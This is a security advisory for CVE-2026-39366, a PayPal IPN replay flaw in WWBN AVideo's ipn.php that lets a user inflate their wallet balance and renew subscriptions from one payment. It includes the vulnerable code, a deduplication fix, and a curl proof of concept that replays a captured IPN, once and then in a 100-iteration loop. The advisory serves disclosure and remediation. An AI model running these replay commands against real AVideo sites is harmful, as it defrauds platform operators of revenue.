Skip to content

GHSA-mmw7-wq3c-wf9p CVE-2026-39366

WWBN AVideo Affected by a PayPal IPN Replay Attack Enabling Wallet Balance Inflation via Missing Transaction Deduplication in ipn.php

Medium Packagist
Severity
6.5 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.17%
Chance of exploitation in the next 30 days. Higher than 6.30% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-345 Insufficient Verification of Data Authenticity
Fix
None yet
No fixed version published

Description

Summary

The PayPal IPN v1 handler at plugin/PayPalYPT/ipn.php lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer ipnV2.php and webhook.php handlers correctly deduplicate via PayPalYPT_log entries, but the v1 handler was never updated and remains actively referenced as the notify_url for billing plans.

Details

When a recurring payment IPN arrives at ipn.php, the handler:

  1. Verifies authenticity via PayPalYPT::IPNcheck() (line 16), which sends the POST data to PayPal's cmd=_notify-validate endpoint. PayPal confirms the data is genuine but this verification is stateless — PayPal returns VERIFIED for the same authentic data on every submission.

  2. Looks up the subscription from recurring_payment_id and directly credits the user's wallet (lines 41-53):

// plugin/PayPalYPT/ipn.php lines 41-53
$row = Subscription::getFromAgreement($_POST["recurring_payment_id"]);
$users_id = $row['users_id'];
$payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross'];
$payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency'];
if ($walletObject->currency===$payment_currency) {
    $plugin->addBalance($users_id, $payment_amount, "Paypal recurrent", json_encode($_POST));
    Subscription::renew($users_id, $row['subscriptions_plans_id']);
    $obj->error = false;
}

No txn_id uniqueness check. No PayPalYPT_log entry created. No deduplication of any kind.

Compare with the patched handlers:

  • ipnV2.php (line 50): PayPalYPT::isTokenUsed($_GET['token']) and (line 93): PayPalYPT::isRecurringPaymentIdUsed($_POST["verify_sign"]), with PayPalYPT_log entries saved on success.
  • webhook.php (line 30): PayPalYPT::isTokenUsed($token) with PayPalYPT_log entry saved on success.

The v1 ipn.php is still actively configured as notify_url in PayPalYPT.php at lines 85, 193, and 308:

$notify_url = "{$global['webSiteRootURL']}plugin/PayPalYPT/ipn.php";

PoC

# Prerequisites: A registered AVideo account with at least one completed PayPal subscription.

# Step 1: Complete a legitimate PayPal subscription.
# This generates an IPN notification to ipn.php containing your recurring_payment_id.

# Step 2: Capture the IPN POST body. This is available from:
# - PayPal's IPN History (paypal.com > Settings > IPN History)
# - Network interception during the initial subscription flow

# Step 3: Replay the captured IPN to inflate wallet balance.
# Each replay adds the subscription amount to the attacker's wallet.

# Single replay:
curl -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \
  -d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&payer_email=attacker@example.com'

# Bulk replay (100x = 100x the subscription amount added to wallet):
for i in $(seq 1 100); do
  curl -s -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \
    -d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&payer_email=attacker@example.com'
done

# Each request passes IPNcheck() (PayPal confirms the data is authentic),
# then addBalance() credits the wallet and Subscription::renew() extends the subscription.

Impact

  • Unlimited wallet balance inflation: An attacker can replay a single legitimate IPN to add arbitrary multiples of the subscription amount to their wallet balance, enabling free access to all paid content.
  • Unlimited subscription renewals: Each replay also calls Subscription::renew(), indefinitely extending subscription access from a single payment.
  • Financial loss: Platform operators lose revenue as attackers obtain paid services without corresponding payments.

Recommended Fix

Add deduplication to ipn.php consistent with the approach already used in ipnV2.php and webhook.php. Record each processed transaction in PayPalYPT_log and check before processing:

// plugin/PayPalYPT/ipn.php — replace lines 41-57 with:
} else {
    _error_log("PayPalIPN: recurring_payment_id = {$_POST["recurring_payment_id"]} ");

    // Deduplication: check if this IPN was already processed
    $dedup_key = !empty($_POST['txn_id']) ? $_POST['txn_id'] : $_POST['verify_sign'];
    if (PayPalYPT::isRecurringPaymentIdUsed($dedup_key)) {
        _error_log("PayPalIPN: already processed, skipping");
        die(json_encode($obj));
    }

    $subscription = AVideoPlugin::loadPluginIfEnabled("Subscription");
    if (!empty($subscription)) {
        $row = Subscription::getFromAgreement($_POST["recurring_payment_id"]);
        _error_log("PayPalIPN: user found from recurring_payment_id (users_id = {$row['users_id']}) ");
        $users_id = $row['users_id'];
        $payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross'];
        $payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency'];
        if ($walletObject->currency===$payment_currency) {
            // Log the transaction for deduplication
            $pp = new PayPalYPT_log(0);
            $pp->setUsers_id($users_id);
            $pp->setRecurring_payment_id($dedup_key);
            $pp->setValue($payment_amount);
            $pp->setJson(['post' => $_POST]);
            if ($pp->save()) {
                $plugin->addBalance($users_id, $payment_amount, "Paypal recurrent", json_encode($_POST));
                Subscription::renew($users_id, $row['subscriptions_plans_id']);
                $obj->error = false;
            }
        } else {
            _error_log("PayPalIPN: FAIL currency check $walletObject->currency===$payment_currency ");
        }
    }
}

Additionally, consider migrating the notify_url references in PayPalYPT.php (lines 85, 193, 308) from ipn.php to ipnV2.php or webhook.php, and eventually deprecating the v1 IPN handler entirely.

Affected versions

Packagist

PackageVulnerableFixed in
wwbn/avideo
<= 26.0
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
None

Weakness

CWE-345: Insufficient Verification of Data Authenticity

The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7cqp-7cfv-6c3q
AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel
Medium Also affects wwbn/avideo
GHSA-wc3f-xc32-435f
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
High Also affects wwbn/avideo
GHSA-95jh-7r58-xmxw
AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
Medium Also affects wwbn/avideo
GHSA-wf69-r4mx-43rr
AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration
High Also affects wwbn/avideo
GHSA-8j8m-p79x-g4jm
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
Medium Also affects wwbn/avideo
GHSA-8whc-2wmv-ww35
WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin
Critical Also affects WWBN/AVideo
GHSA-66q5-cj5g-wrfx
WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section
Medium Also affects WWBN/AVideo
GHSA-hgjh-6wj8-gcgf
WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination
Medium Also affects WWBN/AVideo
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor